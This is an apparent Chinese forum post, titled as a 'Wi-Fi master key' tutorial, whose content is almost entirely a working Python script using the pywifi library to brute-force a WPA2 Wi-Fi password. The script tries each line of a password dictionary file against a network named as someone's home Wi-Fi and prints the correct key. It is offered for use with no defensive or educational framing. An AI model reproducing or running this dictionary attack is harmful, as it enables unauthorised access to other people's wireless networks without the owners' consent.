猫史档案馆


Wifi万能钥匙

用户:MathinChinaMathinChina查看:0 回复:0 评论:0 创建时间:2021-09-12T16:14:04


今天我带大家来看一看一个WiFi万能钥匙的制作方法,代码如下:

 

# coding:utf-8
import time  
import pywifi  
from pywifi import const  
from asyncio.tasks import sleep
 
class PoJie():
    def __init__(self, path):
        self.file = open(path, "r", errors="ignore")
        wifi = pywifi.PyWiFi()  
        self.iface = wifi.interfaces()[0]  
        self.iface.disconnect()  
 
        #time.sleep(1)  
 
        
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
 
    def readPassWord(self):
            print("开始破解:")
            while True:
 
                try:
                    myStr =self.file.readline()
                    if not myStr:
                        break
                    bool1 = self.test_connect(myStr)
                    if bool1:
                        print("密码正确:", myStr)
                        break
                    else:
                        print("密码错误:" + myStr)
                    #time.sleep(3)
                except:
                    continue
 
    def test_connect(self, findStr):  
 
        profile = pywifi.Profile()  
        profile.ssid = "某家的WiFi"  
        profile.auth = const.AUTH_ALG_OPEN  
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  
        profile.cipher = const.CIPHER_TYPE_CCMP  
        profile.key = findStr  
 
        self.iface.remove_all_network_profiles()  
        tmp_profile = self.iface.add_network_profile(profile)  
        self.iface.connect(tmp_profile)  
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  
            isOK=True
        else:
            isOK=False
        self.iface.disconnect()  
        #time.sleep(1)
        
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
 
        return isOK
 
 
    def __del__(self):
        self.file.close()
 
path = r"wifi.txt" #字典
start = PoJie(path)
start.readPassWord()


回复

上一页1 页 / 共 0下一页